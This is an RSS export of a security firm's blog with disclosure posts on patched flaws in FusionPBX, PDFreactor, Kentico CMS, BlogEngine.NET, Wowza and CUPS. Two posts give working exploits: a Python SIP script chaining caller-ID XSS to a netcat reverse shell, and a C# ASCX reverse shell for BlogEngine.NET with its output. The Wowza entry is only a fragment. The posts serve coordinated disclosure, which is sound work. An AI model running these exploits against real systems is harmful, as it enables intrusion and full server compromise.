<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by Squarespace V5 Site Server v5.13.594-SNAPSHOT-1 (http://www.squarespace.com) on Fri, 01 Sep 2023 17:45:17 GMT--><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Blog</title><link>http://blog.gdssecurity.com/labs/</link><description></description><lastBuildDate>Tue, 25 Jun 2019 20:21:16 +0000</lastBuildDate><copyright>© 2016 Gotham Digital Science All Rights Reserved</copyright><language>en-US</language><generator>Squarespace V5 Site Server v5.13.594-SNAPSHOT-1 (http://www.squarespace.com)</generator><item><title>RCE Using Caller ID - Multiple Vulnerabilities in FusionPBX</title><dc:creator>Dustin Cobb</dc:creator><pubDate>Fri, 07 Jun 2019 14:52:24 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html</link><guid isPermaLink="false">936190:11268292:36190885</guid><description><![CDATA[<p>Aon&rsquo;s Cyber Solutions has recently discovered several vulnerabilities in FusionPBX, an open-source VoIP PBX application that runs on top of the FreeSWITCH VoIP switch.&nbsp; These vulnerabilities allow for novel exploitation vectors, including an exploit chain that is triggered by a phone call with a malicious caller ID value that leads to remote code execution.&nbsp; This post provides an overview of a selection of the discovered vulnerabilities, and details of the caller ID RCE exploit chain that combines CVE-2019-11408 and CVE-2019-11409.&nbsp; Future posts will cover additional FusionPBX vulnerabilities and their exploitation, including one triggered by sending a malicious fax.&nbsp; All vulnerabilities described in this post have been patched.<br /><br /><strong>Timeline:</strong><br /><br />04/04/19 - Vulnerabilities disclosed to FusionPBX<br />04/05/19 - Developer pushes preliminary patches to the project&rsquo;s Github<br />04/07/19 - Attempt to contact developer to discuss coordinated disclosure<br />04/09/19 - Developer responds and states that they do not intend to publish advisory or otherwise disclose the existence of the vulnerabilities<br />04/22/19 - CVE IDs obtained and shared with developer, 2nd request for coordination of public disclosure, no response received<br />05/22/19 - Aon provides updated patch for CVE-2019-11409 in a <a href="https://github.com/fusionpbx/fusionpbx/pull/4170">pull request</a><br />06/02/19 - Pull request accepted<br />06/06/19 - Aon public disclosure<br /><br /><strong>Vulnerability Listing / Credits:</strong><br /><br />CVE-2019-11408: Dustin Cobb - XSS in Operator Panel<br />CVE-2019-11409: Dustin Cobb - Command Injection in Operator Panel<br />CVE-2019-11410: Dustin Cobb - Command Injection in Backup Module<br />CVE-2019-11407: Dustin Cobb - Information disclosure through debug parameter</p>
<p><strong>Details:</strong></p>
<h3>CVE-2019-11408 - XSS in Operator Panel</h3>
<p>The operator panel module in FusionPBX suffers from a serious XSS vulnerability in the index_inc.php file.&nbsp; The caller id number string isn&rsquo;t properly output encoded before being rendered.&nbsp; The output of this file is used by the index.php file, which refreshes every 1500ms by making an ajax call to the index_inc.php file.&nbsp; The screen is designed to be used by a call center operator who wishes to monitor call activity on all of the extensions in the system.&nbsp; Because this screen is designed to be constantly monitored by the operator, this becomes a more serious issue than an XSS vulnerability on an infrequently visited page.&nbsp; An attacker may inject an XSS payload into the caller id number field of an inbound call, which can originate from the PSTN.&nbsp; This vulnerability can be chained with CVE-2019-11409, resulting in remote code execution by an unauthenticated attacker.&nbsp; This is demonstrated by the exploit code provided below.<br /><br />In summary, an attacker may initiate a call from outside of the network with a specially crafted caller id number and, should the operator have this screen up at that time, gain remote code execution resulting in full system compromise. <br /><br />The vulnerable code is shown below.&nbsp; On line 47 in the index_inc.php file, get_call_activity() is called:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">46 //get the call activity
47         <span style="color: red;">$activity = get_call_activity();</span>
</pre>
<p>On line 40 and 41 of the get_call_activity() function, we can see that the call activity values are being retrieved from FreeSWITCH via an event socket API call. On line 114, the caller id number value is being extracted from that JSON response.&nbsp; Note that, at no point, has the code performed any sanitization or html encoding operations.<br />app/operator_panel/resources/functions/get_call_activity.php:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">37         //send the command
38                 $fp = event_socket_create($_SESSION['event_socket_ip_address'], $_SESSION['event_socket_port'], $_SESSION['event_s    ocket_password']);
39                 if ($fp) {
40                         <span style="color: red;">$switch_cmd = 'show channels as json';</span>
41                         <span style="color: red;">$switch_result = event_socket_request($fp, 'api '.$switch_cmd);</span>
42                         $json_array = json_decode($switch_result, true);
43                 }
[&hellip;]
112                                         $array[$x]["state"] = $field['state'];
113                                         $array[$x]["cid_name"] = $field['cid_name'];
114                                         <span style="color: red;">$array[$x]["cid_num"] = $field['cid_num'];</span>
</pre>
<p>Once the get_call_activity() function returns with the unsanitized caller id number value, we can see that this is extracted to the $call_number, which is then directly concatenated into the HTML on line 369:<br />app/operator_panel/index_inc.php:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">215                 $dir_icon = 'inbound';
216                 $call_name = $activity[$ext['cid_num']]['effective_caller_id_name'];
217                 <span style="color: red;">$call_number = format_phone($ext['cid_num']);</span>
[&hellip;]
368                 $block .= "                     &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;";
369                 $block .= "                     &lt;span id='op_caller_details_".$extension."'&gt;&lt;strong&gt;".$call_name."&lt;/strong&gt;&lt;br&gt;".<span style="color: red;">$call_number</span>."&lt;/span&gt;";
370                 $block .= "             &lt;/span&gt;";
</pre>
<h3>CVE-2019-11409 - Command Injection in Operator Panel</h3>
<p>The exec.php component of the operator panel module suffers from an API command injection vulnerability.&nbsp; This code is meant to send certain commands to the FreeSWITCH event socket interface, like disconnect calls or initiate call recording.&nbsp; However, the command actually being sent to the event socket interface is entirely controlled by the &ldquo;cmd&rdquo; parameter.&nbsp; Although authentication is required for exploitation, administrative privileges are not.&nbsp; No CSRF protection is in place, making it possible to target authenticated users with HTML payloads that can silently exploit the issue.&nbsp; It can also be chained with the XSS in CVE-2019-11408 to achieve unauthenticated remote code execution.&nbsp; To exploit this issue, an authenticated user with access to the operator panel interface simply needs to make a request such as this:<br /><br />https://victim-pbx1.example.com/app/operator_panel/exec.php?cmd=system%20nc%20-e%20/bin/bash%10.10.10.10%204444<br /><br />The vulnerable code is shown below. On line 51, we can see that the $switch_cmd variable is being initialized with the value from a GET parameter.&nbsp; While an attempt is being made to sanitize the value for normal command injection characters, none are needed in this case.&nbsp; We simply issue a command directly.<br />/app/operator_panel/exec.php</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">50         if (count($_GET)&gt;0) {
51                 <span style="color: red;">$switch_cmd = trim(check_str($_GET["cmd"]));</span>
52                 $action = trim(check_str($_GET["action"])); 
</pre>
<p><span style="color: black;">On line 162, we see that the command is being sent directly to the event socket interface:<br /> </span></p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">162                 $switch_result = <span style="color: red;">event_socket_request($fp, 'api '.$switch_cmd);
</span></pre>
<p><span style="color: black;">When sending the FreeSWITCH &ldquo;system&rdquo; command, any shell command can be executed within the context of the FreeSWITCH user.</span></p>
<p><strong> Exploit Code (chains -11408 and -11409):</strong></p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">#!/usr/bin/python
import socket, sys
from random import randint
from hashlib import md5

# Exploitation steps:
#
# 1. First, encode an XSS payload that will be injected into the &ldquo;Caller ID Number&rdquo; field, or &ldquo;User&rdquo; component of the SIP &ldquo;From&rdquo; URI.
# 2. Connect to external SIP profile port and send a SIP INVITE packet with XSS payload injected into the From Field.
# 3. XSS payload will fire operator panel screen, which is designed to be monitored constantly by a call center operator.
# 4. Once XSS code executes, a call is made to the exec.php script with a reverse shell payload that connects back to a netcat listener on the attacker system.  Refer to vulnerability #2 in this document for details.


# edit these variables to set up attack
victim_addr="10.10.10.10"
victim_host="victim-pbx1.example.com"
victim_num="12125551212"

attacker_ip="10.10.10.20"
attacker_port=4444

def encode(val):
    ret=""

    for c in val:
        ret+="\\x%02x" % ord(c)

    return ret

callid=md5(str(randint(0,99999999))).hexdigest()

cmd="nc -e /bin/bash %s %d" % (attacker_ip, attacker_port)
payload="q=new XMLHttpRequest();q.open('GET','exec.php?cmd=system %s',true);q.send();" % cmd

xss="<img src="https://gdssecurity.squarespace.com/display/admin/z" alt="" width="0" height="0" />;tag=%s
To: 
Call-ID: %s
CSeq: 1 INVITE
Contact: 
Max-Forwards: 70
User-Agent: Exploit POC
Content-Type: application/sdp
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE, MESSAGE
Content-Length: 209

v=0
o=root 1204310316 1204310316 IN IP4 127.0.0.1
s=Media Gateway
c=IN IP4 127.0.0.1
t=0 0
m=audio 4446 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16
a=ptime:2
a=sendrecv""" % (victim_num, victim_host, xss, callid, victim_num, victim_host, callid)

payload=payload.replace("\n","\r\n")

s=socket.socket()

s.connect((victim_addr,5080))

print payload
print

s.send(payload)
data=s.recv(8192)

print data
</pre>
<p><strong>Reproduction Steps:</strong></p>
<p>1.&nbsp;&nbsp; &nbsp;View the vulnerable operator screen in a web browser, located  in this example at https://10.10.10.10/app/operator_panel/index.php<br />2.&nbsp;&nbsp; &nbsp;Start a netcat listener on a remote system, 10.10.10.20 in this example<br />3.&nbsp;&nbsp; &nbsp;Run the exploit code above on the remote system in another terminal window<br />4.&nbsp;&nbsp; &nbsp;The exploit will connect to the netcat listener and provide a reverse shell</p>
<h3>CVE-2019-11410 - Command Injection in Backup Module</h3>
<p>The restore function in the backup module of FusionPBX suffers from a command injection vulnerability. An authenticated user with admin privileges may upload a file with a specially crafted filename which will result in remote code execution via shell command injection.</p>
<h3>CVE-2019-11407 - Information disclosure through debug parameter</h3>
<p>The operator panel module suffers from an information disclosure vulnerability that reveals sensitive information, such as the password for the FreeSWITCH event socket interface. This is due to a debug parameter which dumps the contents of several arrays, most notably the $_SESSION array.</p>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36190885.xml</wfw:commentRss></item><item><title>SSRF and XXE Vulnerabilities in PDFreactor</title><dc:creator>Sean Melia</dc:creator><pubDate>Tue, 28 May 2019 18:51:11 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2019/5/28/ssrf-and-xxe-vulnerabilities-in-pdfreactor.html</link><guid isPermaLink="false">936190:11268292:36180482</guid><description><![CDATA[<p>Aon&#8217;s Cyber Solutions recently discovered two vulnerabilities in RealObjects PDFreactior prior to version 10.1.10722 in the default configuration.&nbsp; The identified vulnerabilities allow attackers to perform Server-Side Request Forgery (SSRF) and XML External Entity Injection (XXE) attacks in cases where PDFreactor is used to process user-controllable HTML over a network. Exploitation of these vulnerabilities allows for an attacker to access local system files as well as internal network resources in order to retrieve secrets or bypass firewall rules.&nbsp; These vulnerabilities were discovered by Sean Melia.<br /><br />Aon&#8217;s Cyber Solutions would like to thank RealObjects for working with us as part of our coordinated disclosure process to quickly remediate these vulnerabilities.<br /><br /><strong>Timeline:</strong><br /><br />04/08/19 - Initial disclosure<br />04/09/19 - Receipt acknowledged<br />04/18/19 - Issues confirmed, documentation updates &amp; fixes slated for 10.1<br />04/18/19 - SSRF issue discovered by a 3rd party and published as a 0 day on Twitter<br />04/24/19 - RealObjects publishes preliminary advisory with suggested workarounds<br />05/27/19 - Version 10.1.10722 released</p>
<p><strong>Vendor Advisories:</strong><br /><br /><a href="https://www.pdfreactor.com/pdfreactor-10-maintenance-release-10-1-10722-now-available/">https://www.pdfreactor.com/pdfreactor-10-maintenance-release-10-1-10722-now-available/</a><br /><a href="https://www.pdfreactor.com/important-pdfreactor-security-advisory/">https://www.pdfreactor.com/important-pdfreactor-security-advisory/</a></p>
<h3>CVE-2019-12153 Server-Side Request Forgery (SSRF)</h3>
<p><strong>Overview:</strong></p>
<p>The PDFreactor library prior to version 10.1.10722 is vulnerable to Server-Side Request Forgery (SSRF) attacks, where user input defining a URL (e.g. protocol and hostname information) is accepted and used to build a request to an arbitrary host. An example of exploitation would be to access internal network resources such as &ldquo;http://169.254.169.254/latest/meta-data/&rdquo; and retrieve the AWS secret keys. Additionally, local system files can be extracted this way using the &#8220;file:/&#8221; or &#8220;netdoc://&#8221; handlers.<br /><br /><strong>Remediation:</strong><br /><br />PDFreactor version 10.1.10722 will no longer load resources from the local filesystem by default.&nbsp; Documentation and sample code have been updated to clarify the risks of allowing external references and demonstrate how they may be safely allowed.<br /><br /></p>
<h3>CVE-2019-12154 XML External Entity (XXE)</h3>
<p><strong>Overview:</strong></p>
<p>The PDFreactor library prior to version 10.1.10722 is vulnerable to XML External Entity (XXE) attacks. User input defining an external resource, such as an XML document or SVG image, that contains a malicious payload is parsed by the backend Java XML Parser. When the malicious XML payload is parsed, local system files or internal hosts can be interacted with via common handlers such as &#8220;file:/&#8221;, &#8220;netdoc://&#8221;, or &ldquo;http://&rdquo;. This exposure is due to the way in which the parser handles XML documents containing external entities. When an XML parser encounters a DOCTYPE declaring an external entity, it expands all instances of the entity with the contents of the URI reference defined.<br /><br /><strong>Remediation:</strong></p>
<p>PDFreactor version 10.1.10722 disables External XML Entity processing by default.&nbsp; If a user wishes to enable it, the URLStreamHandler class has been updated to process External XML Entity resolution to allow for custom validation to be performed.</p>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36180482.xml</wfw:commentRss></item><item><title>Unauthenticated Remote Code Execution in Kentico CMS</title><dc:creator>Manoj Cherukuri</dc:creator><pubDate>Mon, 15 Apr 2019 18:01:43 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2019/4/15/unauthenticated-remote-code-execution-in-kentico-cms.html</link><guid isPermaLink="false">936190:11268292:36171662</guid><description><![CDATA[<p>Aon&rsquo;s Cyber Solutions Security Testing team recently discovered a  vulnerability, CVE-2019-10068, in the Kentico CMS platform versions 12.0.14 and earlier.  This issue allows for unauthenticated remote code execution through a deserialization vulnerability in the staging service.  A fix is available in  the current version, 12.0.15.&nbsp; This vulnerability was discovered by Manoj Cherukuri and Justin LeMay.&nbsp; Exploit code is currently being withheld.</p>
<p>Aon&rsquo;s Cyber Solutions would like to thank Kentico for working with us as part of our coordinated disclosure  process to quickly remediate this vulnerability.</p>
<p><strong>Timeline:</strong></p>
<p>03/13/2019 - Issue disclosed to Kentico<br /> 03/14/2019 - Receipt acknowledged<br /> 03/20/2019 - Vulnerability confirmed by Kentico<br /> 03/22/2019 - Patch released in version 12.0.15<br /> 04/15/2019 - Public disclosure</p>
<p><strong>Vendor Advisory/Patch:</strong></p>
<p>https://devnet.kentico.com/download/hotfixes#securityBugs-v12</p>
<p><strong>Details:</strong></p>
<p class="FindingDetails" style="text-align: justify;">The Kentico CMS application is vulnerable to a .NET object deserialization vulnerability that allows attackers to perform remote code execution and obtain unauthorized remote access.&nbsp;<span>An XML encoded SOAP message&nbsp;</span><span>within an element of the actual SOAP body was being deserialized by a SOAP Action within the staging web service. <span>The staging service is used by the application to synchronize changes between different environments or servers.&nbsp;</span></span></p>
<p class="FindingDetails" style="text-align: justify;">The identified vulnerable web service is installed by default and can be exploited under the default configuration. Although the deserialization of the payload sent for synchronization is expected to happen post-authentication and only when the staging service is enabled (disabled by default), the application allows deserialization of the payload even if both these conditions are not satisfied when parsing a specially-crafted request. The only requirement for exploitation of this issue is that the staging service must use username-based authentication, which is the default configuration.</p>
<!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-536859905 -1073732485 9 0 511 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	mso-bidi-font-size:11.0pt; 	font-family:"Calibri",sans-serif; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} p.FindingDetails, li.FindingDetails, div.FindingDetails 	{mso-style-name:"Finding Details"; 	mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-link:"Finding Details Char"; 	margin:0in; 	margin-bottom:.0001pt; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	mso-bidi-font-size:11.0pt; 	font-family:"Calibri",sans-serif; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} span.FindingDetailsChar 	{mso-style-name:"Finding Details Char"; 	mso-style-unhide:no; 	mso-style-locked:yes; 	mso-style-link:"Finding Details"; 	mso-ansi-font-size:10.0pt;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:11.0pt; 	mso-ansi-font-size:11.0pt; 	mso-bidi-font-size:11.0pt; 	font-family:"Calibri",sans-serif; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt; 	line-height:115%;} @page WordSection1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.WordSection1 	{page:WordSection1;} -->
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36171662.xml</wfw:commentRss></item><item><title>Remote Code Execution in BlogEngine.NET</title><dc:creator>Dustin Cobb</dc:creator><pubDate>Thu, 28 Mar 2019 15:45:07 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2019/3/28/remote-code-execution-in-blogenginenet.html</link><guid isPermaLink="false">936190:11268292:36170253</guid><description><![CDATA[<p>Aon’s Cyber Solutions Security Testing team recently discovered a vulnerability, CVE-2019-6714, in the BlogEngine.NET blogging software platform affecting versions 3.3.6.0 and earlier.  This issue allows for remote code execution through a path traversal vulnerability in the file upload feature available to blog post editors.  A fix is available in the current version, 3.3.7.0.</p>

<p>Aon’s Cyber Solutions would like to thank the BlogEngine.NET developers for working with us as part of our coordinated disclosure process to quickly remediate this vulnerability.</p>

<p><b>Timeline:</b></p>
01/21/2019 - Issue discovered, exploit developed and tested<br/>
02/05/2019 - Contact established with developer, details of vulnerability sent<br/>
02/07/2019 - Developer pushed fixes to Github<br/>
02/07/2019 - Fixes for issue were tested and confirmed to be fixed<br/>
02/09/2019 - Official 3.3.7.0 release was done on Github<br/>
03/28/2019 - Public disclosure<br/>
<br/>
<p><b>Patch:</b></p>
<p><a href="https://github.com/rxtur/BlogEngine.NET/commit/612164e60f1c47d74e8bdcdf334f8e991d16873b">https://github.com/rxtur/BlogEngine.NET/commit/612164e60f1c47d74e8bdcdf334f8e991d16873b</a></p>


<p><b>Details:</b></p>
<p>The test environment used during the discovery of this vulnerability was a fully patched and updated Windows 2016 server (build 14393) running IIS 10. The version of BlogEngine.NET that was tested can be found here on Github:</p>

<p><a href="https://github.com/rxtur/BlogEngine.NET/releases/tag/v3.3.6.0">https://github.com/rxtur/BlogEngine.NET/releases/tag/v3.3.6.0</a></p>

<p>While this does describe the specific test environment, this exploit was found to work with slight modifications on versions of BlogEngine.NET as far back as 1.5.0.7 running on Windows 2008 R2.</p>

<p>When adding or editing a blog post, BlogEngine.NET allows for the upload of arbitrary files which are meant to be included as part of the post.  By default, these files are stored in the <b>/App_Data/files</b> folder of the document root belonging to the BlogEngine.NET instance.  If an attacker uploads a file called <b>PostView.ascx</b> containing malicious C# code, they can then cause that malicious code to be executed by exploiting a directory traversal vulnerability in the <b>/Custom/Controls/PostList.ascx.cs</b> file.  The vulnerable code can be seen here:</p>

<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">
125                var path = string.Format("{0}<span style="color: red">Custom/Themes/{1}/PostView.ascx</span>", Utils.ApplicationRelativeWebRoot, BlogSettings.Instance.GetThemeWithAdjustments(<span style="color: red">this.Request.QueryString["theme"]</span>));
126                var counter = 0;
127    
128                if(!System.IO.File.Exists(Server.MapPath(path)))
129                    path = string.Format("{0}Custom/Controls/Defaults/PostView.ascx", Utils.ApplicationRelativeWebRoot);
130    
131                foreach (Post post in visiblePosts.GetRange(index, stop))
132                {
133                    if (counter == stop)
134                    {
135                        break;
136                    }
137    
138                    var postView = (PostViewBase)<span style="color: red">this.LoadControl(path);</span>
139                postView.ShowExcerpt = ShowExcerpt();
</pre>

<p>As you can see on line 125 above, this code will get a “theme” value from the query string.  This is meant to execute code that renders pages differently according to a user’s needs or desires.  For example, a mobile theme might be appropriate for viewing pages on a mobile device rather than a desktop.  Unfortunately, this value is not being sanitized for any directory traversal sequences (i.e., “../”).</p>

<p>Note that also on line 125, we see this:</p>

<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">
 string.Format("{0}Custom/Themes/{1}/PostView.ascx"
</pre>

<p>This means that the code will look for and, if it exists, execute a file called <b>PostView.ascx</b> in the specified theme directory.  In this attack scenario, that directory would be the <b>/App_Data/files</b> directory, where we previously uploaded the malicious file with the name of <b>PostView.ascx</b>.</p>

<p><b>Reproduction Steps</b></p>

<p>To reproduce this exploit, first modify the exploit code shown in the following section to match the IP address and port of a netcat listener that will be waiting for a reverse shell connection.  Next, perform the following actions:</p>

<ol>
<li>Log into the BlogEngine.NET instance with a user who has rights to add or edit a blog post.</li>
<li>Navigate to the <b>Content</b> menu.</li>
<li>A listing of posts should be shown on this screen.  Click <b>New</b> to add one.</li>
<li>In the toolbar located above the post body, there should be a number of icons.  There should be one that looks like an open file, called <b>File Manager</b>.  Click this icon.</li>
<li>Here, simply upload the previously edited <b>PostView.ascx</b> file.</li>
<li>Make sure you have a netcat listener waiting for a connection at the previously specified IP and port.</li>
<li>Browse to the following URL:  <b>http://example.com/?theme=../../App_Data/files</b></li>
</ol>

<p>You should now receive a connection from the server and have a command shell running in the context of the BlogEngine.NET web application.</p>

<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">
Exploit Code:
/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This 
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can 
 * be seen in this file:
 * 
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to 
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the 
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the 
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

&lt;script runat="server"&gt;
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
        using(System.IO.Stream stream = client.GetStream()) {
            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                streamWriter = new System.IO.StreamWriter(stream);
                        
                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                p.Start();
                p.BeginOutputReadLine();

                while(true) {
                    strInput.Append(rdr.ReadLine());
                    p.StandardInput.WriteLine(strInput);
                    strInput.Remove(0, strInput.Length);
                }
            }
        }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
       StringBuilder strOutput = new StringBuilder();

           if (!String.IsNullOrEmpty(outLine.Data)) {
               try {
                    strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

&lt;/script&gt;
&lt;asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"&gt;&lt;/asp:PlaceHolder&gt;
</pre>

<p><b>Exploit Output:</b></p>

<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">
$ nc -nvlp 4445
Listening on [0.0.0.0] (family 2, port 4445)
Connection from 192.168.70.217 49848 received!
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>
</pre>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36170253.xml</wfw:commentRss></item><item><title>Wowza Streaming Engine Manager Directory Traversal and Local File Inclusion</title><dc:creator>Sean Melia</dc:creator><pubDate>Mon, 11 Feb 2019 20:43:47 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html</link><guid isPermaLink="false">936190:11268292:36138949</guid><description><![CDATA[<p>HTTP/1.1 200 OK</p>
<p>Server: Winstone Servlet Engine v1.0.5</p>
<p>Content-Type: application/octet-stream</p>
<p>Content-Disposition: attachement; filename=&#8221;shadow.zip&#8221;</p>
<p>Connection: Close</p>
<p>Date: Thu, 17 May 2018 18:11:09 GMT</p>
<p>X-Powered-By: Servlet/2.5 (Winstone/1.0.5)</p>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36138949.xml</wfw:commentRss></item><item><title>CUPS Local Privilege Escalation and Sandbox Escapes</title><dc:creator>Dan Bastone</dc:creator><pubDate>Wed, 11 Jul 2018 23:25:33 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2018/7/11/cups-local-privilege-escalation-and-sandbox-escapes.html</link><guid isPermaLink="false">936190:11268292:36081647</guid><description><![CDATA[<p>Gotham Digital Science has discovered multiple vulnerabilities in Apple&#8217;s CUPS print system affecting macOS 10.13.4 and earlier and multiple Linux distributions.&nbsp; All information in this post has been shared with Apple and other affected vendors prior to publication as part of the coordinated disclosure process.&nbsp; All code is excerpted from Apple&#8217;s open source CUPS repository located at <a href="https://github.com/apple/cups">https://github.com/apple/cups</a>.</p>
<p>The vulnerabilities allow for local privilege escalation to root (CVE-2018-4180), multiple sandbox escapes (CVE-2018-4182 and CVE-2018-4183), and unsandboxed root-level local file reads (CVE-2018-4181).&nbsp; A related AppArmor-specific sandbox escape (CVE-2018-6553) was also discovered affecting Linux distributions such as Debian and Ubuntu.&nbsp; When chained together, these vulnerabilities allow an unprivileged local attacker to escalate to unsandboxed root privileges on affected systems.</p>
<p>Affected Linux systems include those that allow non-root users to modify cupsd.conf such as Debian and Ubuntu.&nbsp; Redhat and related distributions are generally not vulnerable by default.&nbsp; Consult distribution-specific documentation and security advisories for more information.</p>
<p>The vulnerabilities were patched in macOS 10.13.5, and patches are currently available for Debian and Ubuntu systems.&nbsp; GDS would like to thank Apple, Debian, and Canonical for working to patch the vulnerabilities, and CERT for assisting in vendor coordination.</p>
<p><strong>Credits:</strong><br /><strong></strong>CVE-2018-4180 - Dan Bastone<br />CVE-2018-4182 - Dan Bastone<br />CVE-2018-4183 - Dan Bastone and Eric Rafaloff<br />CVE-2018-6553 - Dan Bastone<br />CVE-2018-4181 - Eric Rafaloff and John Dunlap</p>
